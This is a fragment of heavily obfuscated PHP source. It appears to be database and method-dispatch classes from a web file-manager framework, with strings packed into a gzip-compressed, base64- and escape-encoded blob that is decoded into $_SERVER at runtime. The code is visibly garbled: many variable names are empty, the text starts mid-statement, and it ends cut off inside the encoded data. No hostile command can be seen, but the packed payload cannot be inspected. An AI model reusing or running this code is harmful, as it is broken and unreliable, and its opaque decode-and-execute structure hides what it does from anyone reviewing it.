"\163\171\x73\x74\x65\155\x5f\157\x70\x74\x69\x6f\156"; protected $jsonField = array("\155\145\156\x75", "\x72\x6f\x6c\145", "\x72\157\x6c\x65\107\162\157\165\x70", "\x72\145\147\x69\163\164", "\145\x6d\x61\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\123\171\163\164\145\155\x4f\x70\164\151\157\156\x5f{$}"; } protected function optionDefault($뢔 = '') { $ =& $_SERVER[]; if ($뢔 == $[12]) { return $GLOBALS[$[6]][$[381]]; } } } goto b즸; a훺: function binCheckBigger($Ԑ, $鼖) { return $Ԑ > $鼖; } $_SERVER[$_SERVER[ۦ][3]] = ("\x38\x31\x39\x38".strrev('37'))+0;$_1prt="3r4ymqpd7c5jeh8v69btig0wsxfn2luoka1zwsq09npxfjzkd5rghbm176uc3aytoilv2e843y";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($ⷽ, $) { $ᝒ =& $_SERVER[]; if (isset(self::$_methodList[$ⷽ])) { return @call_user_func_array(self::$_methodList[$ⷽ], $); } else { if (method_exists($this, $ⷽ)) { return call_user_func_array(array($this, $ⷽ), $); } else { think_exception(__CLASS__ . $ᝒ[4] . $ⷽ . $ᝒ[5]); } } } public static function __callStatic($ўڽ, $) { if (isset(self::$_methodListStatic[$ўڽ])) { return call_user_func_array(self::$_methodListStatic[$ўڽ], $); } else { if (method_exists(self, $ўڽ)) { return call_user_func_array(array(self, $ўڽ), $); } else { show_json("{$ўڽ}\50\x29\x20\156\x6f\164\40\145\170\x69\163\x74\73", !1); } } } public static function addMethod($蠢, $) { self::$_methodList[$蠢] = $; } public static function addMethodStatic($Ȕ, $Ŵ) { self::$_methodListStatic[$Ȕ] = $Ŵ; } } goto Aƽ٘; c˔: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[921])) { think_exception(think_lang($[14]) . $[922]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $觶 = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$觶])) { if (empty($)) { $ = $this->config; } $ؑӫ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($ؑӫ) { $[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$觶] = new PDO($[$[923]], $[$[895]], $[$[896]], $[$[17]]); } catch (PDOException $壀) { think_exception($壀->getMessage()); } $this->dbType = $this->_getDsnType($[$[923]]); if (in_array($this->dbType, array($[924], $[925], $[926], $[927]))) { think_exception($[928] . $this->dbType . $[929] . $this->dbType . $[930]); } if (!$this->linkID[$觶]) { think_exception($[931]); } try { $this->linkID[$觶]->exec($[932] . think_config($[898])); } catch (Exception $壀) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$觶]; } public function free() { $this->PDOStatement = null; } public function query($狷, $ئ͜ = array()) { $ɖ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $狷; if (!empty($ئ͜)) { $this->queryStr .= $ɖ[933] . print_r($ئ͜, !0) . $ɖ[934]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ɖ[23], 1); think_status($ɖ[24]); $this->PDOStatement = $this->_linkID->prepare($狷); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $횲 = $this->PDOStatement->execute($ئ͜); $this->debug(); if (!1 === $횲) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($Ƈ, $ʫ = array()) { $ݨ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ƈ; if (!empty($ʫ)) { $this->queryStr .= $ݨ[933] . print_r($ʫ, !0) . $ݨ[934]; } $ӕ = !1; if ($this->dbType == $ݨ[927]) { if (preg_match($ݨ[935], $this->queryStr, $)) { $this->table = think_config($ݨ[936]) . str_ireplace(think_config($ݨ[937]), $ݨ[378], $[2]); $ӕ = (bool) $this->query($ݨ[938] . strtoupper($this->table) . $ݨ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ݨ[25], 1); think_status($ݨ[24]); $this->PDOStatement = $this->_linkID->prepare($Ƈ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ֈ = $this->PDOStatement->execute($ʫ); $this->debug(); if (!1 === $ֈ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ӕ || preg_match($ݨ[939], $Ƈ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ݚ = $this->_linkID->commit(); $this->transTimes = 0; if (!$ݚ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Ԑ˻ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$Ԑ˻) { $this->error(); return !1; } } return !0; } private function getAll() { $Į = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Į); return $Į; } public function getFields($ˣ) { $ㇳ =& $_SERVER[]; $this->initConnect(!0); if (think_config($ㇳ[940])) { $׀ = str_replace($ㇳ[941], $ˣ, think_config($ㇳ[940])); } else { switch ($this->dbType) { case $ㇳ[924]: case $ㇳ[942]: $׀ = "\123\x45\114\x45\x43\x54\40\x20\40\x63\x6f\154\165\x6d\156\x5f\x6e\141\155\x65\40\141\163\x20\x27\x4e\x61\155\x65\47\x2c\40\x20\40\144\141\164\141\x5f\164\x79\x70\x65\x20\x61\x73\40\x27\124\x79\x70\x65\47\x2c\x20\40\40\x63\157\154\165\155\156\x5f\x64\x65\x66\141\x75\154\164\x20\x61\x73\40\47\x44\145\x66\141\x75\154\x74\x27\54\40\x20\40\151\x73\x5f\156\165\154\x6c\x61\142\x6c\145\40\141\163\40\x27\x4e\x75\154\154\47\xa\x9\x9\106\x52\x4f\x4d\x9\151\x6e\146\x6f\162\155\x61\164\151\157\156\137\163\x63\x68\145\x6d\141\56\x74\141\142\154\145\163\x20\101\x53\x20\164\xa\x9\x9\112\117\x49\116\11\x69\156\x66\x6f\x72\x6d\141\x74\x69\x6f\156\137\163\x63\x68\x65\x6d\141\x2e\x63\x6f\154\165\155\156\x73\40\101\x53\40\143\12\11\11\x4f\x4e\x20\x20\164\56\164\141\142\x6c\x65\x5f\143\x61\x74\141\154\157\x67\40\x3d\40\143\56\x74\141\142\x6c\145\x5f\x63\141\x74\x61\x6c\157\147\12\x9\x9\x41\x4e\x44\40\x74\56\164\x61\x62\154\x65\x5f\x73\x63\x68\145\x6d\x61\40\75\x20\x63\56\x74\x61\142\x6c\x65\x5f\163\143\x68\145\155\141\12\x9\x9\x41\x4e\104\40\x74\56\164\141\x62\154\x65\x5f\156\141\x6d\x65\x20\75\x20\143\x2e\164\141\x62\x6c\x65\137\x6e\x61\155\145\xa\11\11\127\110\x45\x52\x45\40\40\40\x74\56\164\141\142\x6c\x65\137\x6e\141\155\x65\40\75\x20\x27{$ˣ}\47"; break; case $ㇳ[943]: $׀ = $ㇳ[944] . $ˣ . $ㇳ[945]; break; case $ㇳ[925]: case $ㇳ[927]: $׀ = $ㇳ[946] . $ㇳ[947] . $ㇳ[948] . strtoupper($ˣ) . $ㇳ[949] . strtoupper($ˣ) . $ㇳ[950]; break; case $ㇳ[951]: $׀ = $ㇳ[952] . $ˣ . $ㇳ[953]; break; case $ㇳ[926]: break; case $ㇳ[954]: default: $׀ = $ㇳ[955] . ($this->dbType == $ㇳ[954] ? "\140{$ˣ}\x60" : $ˣ); } } $∆ = $this->query($׀); $̐ = array(); if ($∆) { foreach ($∆ as $ʷ => $䙲) { $䙲 = array_change_key_case($䙲); $䙲[$ㇳ[32]] = isset($䙲[$ㇳ[32]]) ? $䙲[$ㇳ[32]] : $ㇳ[378]; $䙲[$ㇳ[33]] = isset($䙲[$ㇳ[33]]) ? $䙲[$ㇳ[33]] : $ㇳ[378]; $ۗ = isset($䙲[$ㇳ[273]]) ? $䙲[$ㇳ[273]] : $䙲[$ㇳ[32]]; $̐[$ۗ] = array($ㇳ[32] => $ۗ, $ㇳ[33] => $䙲[$ㇳ[33]], $ㇳ[35] => (bool) (isset($䙲[$ㇳ[103]]) && $䙲[$ㇳ[103]] === $ㇳ[12] || isset($䙲[$ㇳ[35]]) && $䙲[$ㇳ[35]] === $ㇳ[12]), $ㇳ[37] => isset($䙲[$ㇳ[37]]) ? $䙲[$ㇳ[37]] : (isset($䙲[$ㇳ[56]]) ? $䙲[$ㇳ[56]] : $ㇳ[378]), $ㇳ[39] => isset($䙲[$ㇳ[94]]) ? strtolower($䙲[$ㇳ[94]]) == $ㇳ[41] : (isset($䙲[$ㇳ[57]]) ? $䙲[$ㇳ[57]] : !1), $ㇳ[42] => isset($䙲[$ㇳ[956]]) ? strtolower($䙲[$ㇳ[956]]) == $ㇳ[44] : (isset($䙲[$ㇳ[94]]) ? $䙲[$ㇳ[94]] : !1)); } } return $̐; } public function getTables($ = '') { $ =& $_SERVER[]; if (think_config($[957])) { $̡ = str_replace($[958], $, think_config($[957])); } else { switch ($this->dbType) { case $[925]: case $[927]: $̡ = $[959]; break; case $[924]: case $[942]: $̡ = $[960]; break; case $[951]: $̡ = $[961]; break; case $[926]: think_exception(think_lang($[962]) . $[963]); break; case $[943]: $̡ = $[45] . $[46] . $[47]; break; case $[954]: default: if (!empty($)) { $̡ = $[906] . $ . $[907]; } else { $̡ = $[908]; } } } $ʅϽ = $this->query($̡); $ɭ = array(); foreach ($ʅϽ as $ʅ => $ϼ) { $ɭ[$ʅ] = current($ϼ); } return $ɭ; } protected function parseLimit($á) { $㔶韹 =& $_SERVER[]; $ݼ = $㔶韹[12]; if (!empty($á)) { switch ($this->dbType) { case $㔶韹[951]: case $㔶韹[943]: $á = explode($㔶韹[50], $á); if (count($á) > 1) { $ݼ .= $㔶韹[51] . $á[1] . $㔶韹[52] . $á[0] . $㔶韹[53]; } else { $ݼ .= $㔶韹[51] . $á[0] . $㔶韹[53]; } break; case $㔶韹[924]: case $㔶韹[942]: break; case $㔶韹[926]: break; case $㔶韹[925]: case $㔶韹[927]: break; case $㔶韹[954]: default: $ݼ .= $㔶韹[51] . $á . $㔶韹[53]; } } return $ݼ; } public function parseKey(&$쾓, $ = true) { $釖Ο =& $_SERVER[]; if ($) { $쾓 = $this->parseKeyCheck($쾓); } if ($this->dbType == $釖Ο[954]) { if ($쾓 != $釖Ο[188] && !preg_match($釖Ο[918], $쾓)) { $쾓 = $釖Ο[385] . trim($쾓, $釖Ο[385]) . $釖Ο[385]; } return $쾓; } else { return parent::parseKey($쾓, $); } } public function close() { $this->_linkID = null; } public function error() { $֎ =& $_SERVER[]; if ($this->PDOStatement) { $Ǯ = $this->PDOStatement->errorInfo(); $this->error = $Ǯ[1] . $֎[4] . $Ǯ[2]; } else { $this->error = $֎[12]; } if ($֎[12] != $this->queryStr) { $this->error .= LNG($֎[48]) . $this->queryStr; } think_trace($this->error, $֎[12], $֎[49]); return $this->error; } public function escapeString($ǯ) { $NJ =& $_SERVER[]; switch ($this->dbType) { case $NJ[951]: case $NJ[924]: case $NJ[942]: case $NJ[954]: return addslashes($ǯ); case $NJ[926]: case $NJ[943]: case $NJ[925]: case $NJ[927]: return str_ireplace($NJ[58], $NJ[59], $ǯ); } } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = strpos($, $[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ ? $this->escapeString($) : $[964] . $this->escapeString($) . $[964]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[297]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[965]), $); } elseif (is_bool($)) { $ = $ ? $[88] : $[197]; } elseif (is_null($)) { $ = $[103]; } return $; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[951]: case $[943]: case $[924]: case $[942]: case $[926]: case $[954]: return $this->_linkID->lastInsertId(); case $[925]: case $[927]: $ = $this->table; $״ = $this->query("\123\105\x4c\105\103\x54\40{$}\56\x63\165\162\162\166\141\154\40\143\165\162\162\166\x61\x6c\x20\x46\122\x4f\x4d\40\144\x75\141\x6c"); return $״ ? $״[0][$[966]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($߉գ) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ޙ = parent::query($߉գ); CacheLock::fileUnLock($[13]); return $ޙ; } public function execute($®) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $Ǵ = parent::execute($®); CacheLock::fileUnLock($[13]); return $Ǵ; } } class DbSqlite3 extends DbSqlite3Base { public function query($̖) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $䣒 = parent::query($̖); CacheLock::fileUnLock($[13]); return $䣒; } public function execute($) { $㴺 =& $_SERVER[]; if (!CacheLock::fileLock($㴺[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($㴺[13]); return $; } } goto f; aт: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(base64_decode('8/OLuILl'), "\xc8\xfd\xbd\x94\x9a\xfe"); $_SERVER[] = explode(strrev('|||'), gzinflate(substr("\x1f\x8b\x8\x0\x0\x0\x0\x0\x0\x13\xc5\xbd\x9\x78\x1b\xd5\xd5\x30\xdc\x42\x58\x5b\xa0\x40\x4b\x5b\x68\x61\x62\x8\xb6\x13\x2d\x8e\xb3\x3b\x71\x12\xd9\x96\x63\x25\xb2\x64\x24\x39\xab\xc2"."\144\54\215\254\261\45\215\74\63\362\226\345\145\155\312\22\102\331\312\332\66\54\5\12\141\51\55\145\13\264\224\322\205\265\154\145\347\55\44\41\55\120\136\226\226\122\266\357"."\x2e\xe7\x2e\x33\x92\xe1\xfd\x9f\xff\x7b\x9e\x2f\x90\xe8\xee\x73\xef\xb9\xf7\x9e\x7b\xce\xb9\xe7\x9c\xfb\xca\xb\x3f\xdd\x72\xc7\xc3\x1b\xf6\xda\x30\x69\xc3\xbe\x1f\x6c\xdd\x79\xf7\x9e\xd3\x69"."\x78\xc3\xde\xe8\xbf\x49\x34\x7c\xcc\x59\xfb\x7f\x89\xfc\x39\xfc\xac\x33\x1b\x1a\xba\x66\x1f\x38\x2d\xf6\xd5\xad\xbf\xd8\xae\xed\xdb\x76\xd1\xbf\x1f\xf8\xc5\xc3\x97\x3f\xf5\xdf\xf\xff\x2c\x95"."\135\170\327\345\375\107\177\351\77\357\375\346\223\26\124\224\326\154\241\77\112\311\164\24\175\324\260\35\233\46\144\314\122\316\350\247\141\243\104\177\203\364\247\67\21\265\364\242"."\351\350\64\32\240\77\52\364\212\374\153\17\25\14\226\257\306\342\51\65\331\333\323\23\116\244\240\120\213\234\137\64\263\20\52\153\226\126\204\357\227\165\313\106\275\221\233\123"."\313\146\131\57\271\122\104\102\126\163\264\76\315\206\226\72\332\324\216\160\117\64\276\112\115\255\352\11\103\211\76\165\250\242\133\143\64\106\202\111\107\263\234\224\121\324\171\211".strrev(''."\n".'PRZ\':-hӪܚ1EOj,PRS$-')."\152\224\162\146\203\262\216\346\254\123\32\151\240\323\320\13\131\32\54\151\254\73\316\130\31\102\51\36\102\323\124\252\24\12\64\22\343\241\254\236\323\52\5\200\126\207\34\51"."\x5b\x46\x51\x63\x83\x5e\xa6\x8f\xf1\x54\x1a\xd0\x2a\x8e\x69\x94\x32\x34\x12\x1e\x75\x2c\x4d\xa4\xa3\xbe\x66\xd0\x44\xeb\x25\x68\x2a\x19\x8e\x86\xdb\x53\xa\xee\xa0\xd2\x99\x88\x77\x2b\x30\x9"."\x45\xcd\x76\x74\x4b\x59\xd1\x15\x4e\x84\x15\xdc\xe9\xd6\x7a\x32\xd6\x7a\x5\xd6\x4b\xc\x81\x42\x9\x45\xa3\xca\x44\x2d\x38\x7a\xb1\xcc\x9a\xa1\x75\x6a\x34\x16\x4f\x74\x84\x13\x4a\xdb\x2a\x45"."\x40\x28\x63\x16\x8b\x66\x29\x80\x5a\x41\x33\xe9\x48\x5d\xd\x27\x12\x34\xe0\x83\xe5\x1d\x8d\xe0\x49\x83\x48\xbc\xb3\x33\x19\xe6\x31\x18\xdc\x9\x51\xd4\x93\x19\xb0\x3e\x5d\xb1\x6c\xae\xe0\xa8".strrev('4Æv}QY襝iXT+oL&2FCXm5 ¡Z')."\272\220\376\316\207\102\175\52\316\323\55\107\325\113\31\63\153\224\140\263\56\202\105\247\71\371\16\313\100\5\150\74\147\26\262\54\154\33\343\60\224\234\121\320\143\225\242\134"."\204\107\63\171\243\220\265\330\376\372\274\222\64\32\345\333\25\227\25\261\62\352\11\337\351\106\156\114\354\67\333\254\130\31\75\202\166\204\250\327\303\113\117\207\102\272\343\240"."\xc1\x1\x6c\xc\xb3\xb7\x5c\x30\xb5\x6c\x52\xb7\xf8\xd0\xc\xb3\x13\x55\x8c\x57\x1c\x39\xb1\x42\x8a\x75\x9a\x56\xb1\x3\x61\x6\xf8\x3e\xda\x15\x46\x6f\x8d\x8c\x41\xb6\x2f\xb2\x12\xc4\x82\xd".base64_decode('a072f7p2zWL0TyOgvjT0Ka8XCqo+qsPGKWZn2QwYQbvPKAVRCo1G4mpes/Pd2Vkq')."\251\305\60\152\126\37\15\224\363\145\330\325\174\43\247\135\13\33\203\56\146\72\141\11\57\27\314\214\126\220\207\110\303\171\307\51\47\365\122\26\103\2\206\142\216\224\10\244"."\312\272\16\205\72\174\112\126\351\126\126\51\135\55\106\213\315\52\26\13\74\304\106\307\323\154\236\350\214\262\351\314\346\150\240\217\35\13\165\360\101\303\46\30\116\154\117\255".base64_decode('XC4YGc0xzFLQzDi647cdS9egxVAmo9u2v90sOZZZ8IcKBXPEH7eMfqPUokwFZIsy').base64_decode('0ab2YwTYAju1br6CFwr+zNTWipPzz2U7kJe2tJKd0y1/GHZGi4I6y7EgK9Zh2GXT').strrev('(,{h)%_YK'."\r".''."\r".'WJ7|cLqZp6').base64_decode('5Uofggzs1BpptDSApkXJ4KhPKVZsx2/pCBUZ6LgDIEdy/m68rww9608ijA3JM5pm').base64_decode('KmjpKCyPpnalUj1qpBMdybGw2h1KtXdBtx2tn/U5ivAwb5IlrvSj/YUXVwyNVST2')."\230\43\272\205\76\334\66\326\242\14\232\331\76\163\64\300\262\160\341\44\102\64\254\60\236\356\262\343\117\150\245\176\14\237\276\61\107\207\45\150\17\367\273\1\35\325\113\375".base64_decode('Tp5VTIYTy8MJNRnvTK0IJeAwL6FVMso+hZsu+BN6FoE+47B6WhlDjZXBmwPPFcvF')."\x1b\x86\xe5\x45\x23\x4b\x30\x60\x3a\xfc\x36\x2a\xe4\x97\x4b\xb1\xb6\xa3\x46\xd1\xc0\x7d\x77\x78\xe\x81\x24\x3a\xe9\x97\x40\x87\x82\x64\x40\xad\xe9\xfc\xd4\x86\x74\x76\x5a\xa3\x1f\xfd\x3b\xb5".strrev('>d`RhWAAZzDM+!u0#Mq')."\155\357\1\53\115\114\204\117\350\15\47\123\152\167\70\325\25\357\200\257\207\103\20\212\232\164\333\262\321\256\241\77\153\141\166\327\322\37\325\260\73\245\143\5\107\71\372\121"."\315\276\1\64\31\335\72\303\261\71\212\243\43\105\255\337\203\362\161\254\333\264\164\167\212\70\252\126\30\131\166\46\340\150\227\156\364\347\1\136\6\156\55\143\26\114\113\53"."\x60\xcc\xc8\x36\x85\xce\xb0\x55\xbf\x1\xd8\xa\x90\xb0\x88\x24\x8d\x62\x99\x75\xd6\xc9\x57\x8a\x7d\x52\x10\xb0\xbd\x8d\xd6\xf\xc3\x65\x79\x93\x9f\x67\xa6\x5\xa1\x96\x20\x14\x9c\xd2\xdc\xc9"."\260\175\60\71\3\375\57\120\173\326\54\152\14\121\22\24\247\147\51\216\243\111\123\135\71\135\272\46\16\151\307\162\114\234\152\271\212\40\200\346\115\230\330\176\235\165\251\302"."\xfb\xc6\x7a\x99\xd5\xb\x3a\x83\x46\x5e\x67\xc7\x44\x13\x14\x43\xc7\x1c\x87\x55\x8e\xcf\x19\xa2\xf6\x50\xaa\x38\x9f\xd\x3b\x81\x6a\x62\xa4\xce\xe2\x2b\x30\x79\x2c\x12\x1c\x5e\xb4\x80\x4e\xa8".base64_decode('OJlxEe+x9JwBm7SEZqRbswbZaNAMiLWCI9I66uyNRtX2eCyFSGqasiIRSYXZug11')."\xa8\xa1\xf6\x1e\x7e\xf0\x8a\x19\x85\x2\x18\xc1\x54\x9f\x1e\x34\x65\xb8\x19\x3a\x8e\xba\x13\x14\xc7\x1c\xc2\xd8\x65\xb3\x64\xeb\xfe\xc\xd4\x10\xa4\x77\x55\x56\x56\x9c\x2\x80\x67\xc4\xc9\xe1"."\x39\xc\x46\xfd\x5a\x71\xdc\x5f\x44\x5b\xc0\xcf\x3b\xea\x3e\x83\x95\x94\x7c\x94\x47\x60\x96\x4\x72\xc7\x60\x44\x5c\x11\x3b\xfc\x7b\xe2\x49\xa8\xb0\x8\xa7\x22\x2\xac\x4f\xb7\xe0\x63\x3d\xbd"."\220\125\224\126\310\222\60\44\36\310\316\163\15\310\252\320\212\44\103\314\25\124\336\62\306\65\61\244\105\254\77\154\40\305\202\240\347\334\243\362\13\310\247\272\42\261\145\152"."\x77\xbc\x23\x1c\x55\x23\x31\x84\x99\x52\xd5\xe9\xbd\x3d\x1d\x21\x36\x95\x72\x7a\x5b\x3c\xd5\xe5\x4a\xed\x45\xb8\x69\x79\x28\x1a\xf1\x16\xf\xaf\x8c\x24\x53\xc9\x9a\x59\x28\xad\x37\xec\xc9\x41".base64_decode('jGBPItwZWcmjnZFwtCOptofau0SZWKgbImoOs2J20F1eRUg2yRk6dRgzpwxYqouH').strrev('*qRP@A&8dY!8;'."\n".'g$dijVS5wR').base64_decode('Bn1jPEiGweKIZITvK4Dwq3qg4jJteo7j4doJoZzD0b0njha/yEMzECK8N1oJZEbg')."\63\6\332\112\226\23\142\335\311\11\276\127\215\367\204\23\41\314\65\253\53\22\361\330\22\250\60\222\327\131\7\42\0\376\6\106\134\1\363\354\10\204\204\50\43\215\161\121"."\2\350\3\46\3\345\6\372\163\74\375\101\104\41\174\134\57\61\250\367\141\334\314\116\27\26\310\241\335\300\360\252\131\341\137\353\63\315\2\333\247\210\76\340\10\203\63\337".base64_decode('AzZbJKMM1UxjBxScD6n4snBMZSuLxqTVSBMQOxtPAEAcc5DxZDQzEU6yXW7pQxWD')."\x81\x2b\x18\x98\x6\xab\x58\x47\x47\x10\x7c\x3e\x78\x62\x7a\x64\x5a\xc3\x1a\xff\xb4\xc0\x5a\x14\x68\x9c\xba\x98\x46\x21\x96\xe\xb8\xa2\xc7\x41\xfd\x8a\xc5\x6b\x63\xb2\xa9\xc1\x5e\xd4\xd8\x92".base64_decode('DqaDDYta1oT845p/vMk/z792WjrQOA0S1q5v9s3ciAuggouOXYt+WtOLpqT9x29a')."\267\170\115\172\155\175\313\264\311\351\300\261\351\221\265\123\33\27\261\357\144\52\26\342\67\63\143\274\253\331\151\15\250\113\210\234\342\105\112\4\345\111\5\130\306\270\121\26".base64_decode('qetnb2TpaA71flFjjT89be0iqZ6U5P0WIpcQ/s3zciH/ajwyXhXve1gflVJGYE+8').strrev('tA2Rr5DO9:Ŀ/').base64_decode('+u7TnRGdLQ+U7oqjxcFYR5QlxQqEMIQvYIaKr1G+mIyyiimsER7L6iWYpwOgtJ3R')."\312\172\122\32\241\252\246\102\155\321\260\312\60\14\140\142\26\47\130\261\215\213\354\320\320\4\106\145\370\41\43\110\170\302\255\300\316\267\207\12\12\101\14\212\156\131\246\325"."\102\244\227\166\245\214\111\63\304\231\71\10\266\12\342\351\225\326\205\12\5\71\324\123\345\11\50\153\214\116\300\334\266\56\66\75\306\120\320\247\262\230\41\33\21\124\214\272"."\x9\x36\xa4\xd3\x95\x35\x7a\x76\xed\x1a\xb4\xf0\x35\x7f\x6e\xed\xfa\x19\x1b\x1b\x19\x95\x1f\x4c\xa3\x3f\x2c\x12\xaa\x21\x47\x53\x39\x36\x54\xd1\xf9\x1c\xc0\xfd\xe0\xa2\x14\x57\x84\x67\xd3\xa8"."\151\161\22\251\354\42\242\35\323\321\12\256\46\122\70\205\241\46\166\160\203\120\201\316\166\124\140\54\174\224\113\2\110\202\116\143\234\211\347\262\21\111\2\206\153\44\165\47"."\xc0\x4b\xf8\xa4\x4c\x15\xc5\x5d\xc2\xe0\xd6\x3a\x86\xec\x4b\x68\x3b\xb5\x4b\x47\x1d\x15\xed\x24\xc7\x6c\x47\x2f\xba\xa4\x96\xb6\xae\x59\x99\x7c\x67\xa5\x50\x70\x38\x29\x5f\x30\x6\xe1\xb\xb0"."\127\100\210\352\207\323\140\132\255\252\235\246\305\70\342\251\320\215\272\251\265\12\106\112\45\304\277\312\113\115\34\262\113\102\210\234\111\51\15\114\340\247\104\142\112\133\74\36"."\xd\x87\x62\xa\x3e\xcf\xe1\x1c\x42\xc4\x42\x32\xdc\x13\x42\x87\x18\xe6\xad\x93\xa9\x30\xc8\x20\x23\x1d\x7e\xd6\xee\x4a\x7f\x4\x38\x2c\x1e\x30\x0\xec\x66\x19\x63\x10\x15\xc1\x44\x45\x9c\xcc"."\x20\x9b\x4b\x84\x10\x1d\x56\x14\xe4\x65\x10\xc3\x84\xa6\xf\x4b\x88\x7c\x98\xd2\xf0\xa1\x31\xf8\x30\x7b\xe4\x13\x54\xbc\x4f\x8\xdc\x7c\xc3\x86\x3e\x42\x2\x9c\xd8\xf6\x1\xd\xee\x73\x34\xb"."\21\14\230\110\206\140\244\303\147\330\35\204\201\40\37\40\131\254\103\116\36\313\101\12\332\230\217\166\56\252\17\353\5\37\353\232\217\365\330\307\170\103\37\141\350\72\240\133"."\275\150\163\101\267\110\20\341\320\274\17\57\47\274\232\175\102\40\350\63\107\112\272\105\212\0\230\4\357\341\23\174\211\257\337\62\53\345\36\366\115\51\106\273\5\11\242\317".base64_decode('PCFhmo6P8Zo+mQ2FXoTYrqkJztqjIfD3dgLmDmdVQ+kLJqt6Ptws93raIvD0G9mZ').strrev('/a(+B,evBjڝ@xعhDxb.m#*')."\376\244\364\71\107\353\147\337\302\250\14\345\116\130\224\206\23\172\146\54\43\130\326\16\211\21\166\307\334\233\253\202\332\113\152\71\317\40\175\144\227\325\332\41\265\127\0\137"."\365\174\302\16\74\340\0\6\161\266\25\370\354\273\166\320\27\357\135\30\45\101\227\361\262\40\70\150\147\61\312\116\242\3\260\263\300\100\324\54\147\3\262\366\271\143\170\353"."\5\10\362\46\327\52\111\56\333\210\206\73\123\312\322\70\302\164\206\251\322\72\52\56\254\220\177\314\222\342\152\233\201\113\151\45\371\42\256\225\262\64\145\35\72\25\326\265"."\326\261\217\324\271\252\213\105\343\356\204\217\105\225\352\145\210\301\55\3\1\57\16\62\174\161\222\261\244\270\70\70\53\100\45\152\66\360\153\130\114\16\41\235\245\211\251\225"."\127\251\204\214\104\2\353\227\353\273\70\52\166\30\133\22\12\376\200\117\242\153\60\302\361\213\275\42\105\335\40\367\254\110\317\161\213\101\324\143\224\306\214\222\54\321\22\251".strrev('M3KCUǽA!sQi$zaD\\')."\52\373\66\354\156\130\361\171\315\22\300\144\70\11\43\6\41\47\304\105\104\124\52\226\323\206\5\61\343\252\43\141\26\333\31\143\275\227\203\356\106\151\264\143\242\110\27\27"."\204\324\212\312\170\312\260\243\10\166\265\302\144\244\51\263\146\24\13\333\130\230\22\13\374\116\21\115\102\3\103\52\100\214\250\222\110\201\43\45\67\306\243\135\12\361\3\0"."\35\253\350\120\244\141\104\373\27\320\131\150\5\360\36\132\202\117\64\371\60\161\23\44\111\35\155\30\250\47\132\113\126\345\311\245\205\70\11\37\16\342\60\141\260\26\133\120"."\xc0\x5f\xec\x37\xd7\x52\xe9\x17\xbd\xc3\x38\x5c\xad\xee\x14\x5e\xee\xb5\xe3\x9d\x96\xc9\xa9\x66\x4e\x24\x78\xb\xb5\x13\xb6\x94\xdf\x66\x7a\xe\x76\x9\x38\x2e\x62\xa4\x2a\x49\xaa\xe3\x25\x4b"."\74\251\236\250\230\25\327\251\104\223\230\10\132\313\26\215\122\300\242\147\137\0\61\33\160\3\355\153\222\50\67\201\224\326\333\344\24\201\263\162\243\147\322\35\323\104\34\254"."\25\260\320\227\105\207\44\204\10\330\204\134\120\342\103\123\246\67\170\53\66\312\220\120\273\233\254\142\65\223\145\215\155\13\340\117\52\374\63\234\6\4\234\146\144\6\305\126".strrev('%\\S|IMUNrx#&i[/&MH>'."\n".'pppc2rS2i5').base64_decode('3ZQGJE4lBEBAEEbypXzGLMM6kHRQiuawLiUGbMcsixwpSrOlLNGoVIpPDekH2mJZ')."\102\124\13\100\221\262\120\227\360\347\164\27\7\60\107\22\220\161\171\310\262\330\262\245\203\303\27\75\50\121\116\302\30\60\311\366\134\255\43\215\66\36\36\26\32\46\264\51".base64_decode('/OEAxQABLZuNs8suOVxdVJZV1m6IqPvwpqRY7eKhQkGoCHjjE1ahm12uJKdMWK2T')."\60\307\354\312\256\126\32\147\204\344\315\346\46\346\205\142\207\227\350\167\343\355\211\11\234\11\220\234\230\320\332\161\104\23\264\347\215\222\156\363\243\335\262\153\341\254\377\307"."\224\164\365\34\340\275\62\321\302\301\171\222\174\33\353\274\15\273\316\161\56\304\25\50\113\42\125\310\261\257\72\56\42\53\101\332\220\66\